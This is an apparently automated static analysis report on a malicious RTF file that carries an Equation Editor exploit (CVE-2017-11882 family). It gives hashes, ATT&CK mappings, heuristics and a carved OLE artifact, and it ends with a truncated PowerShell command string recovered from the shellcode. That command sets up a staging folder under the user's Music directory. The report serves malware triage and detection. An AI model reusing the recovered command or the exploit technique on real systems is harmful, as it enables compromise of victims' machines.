Malicious RTF — malware analysis report

Static analysis result for SHA-256 45803f77489da788…

MALICIOUS

RTF

7.9 KB First seen: 2020-12-28
MD5: ce403f2d37f18a2d44d840f0e3238011 SHA-1: 03d9172377800ff6d80a99895903f3679d028b07 SHA-256: 45803f77489da78814b01f6bf93cfae5e68d678beba8077babe70ca8c08abd81
140 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code upon opening the document, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 4

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000001c9.bin rtf-objdata-decoded RTF \objdata at offset 0x1C9 3582 bytes
SHA-256: 6a2f7e4878b60d178ca811bb4a38b5ceb60ffbdf30f6a866d42273a41559db16
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE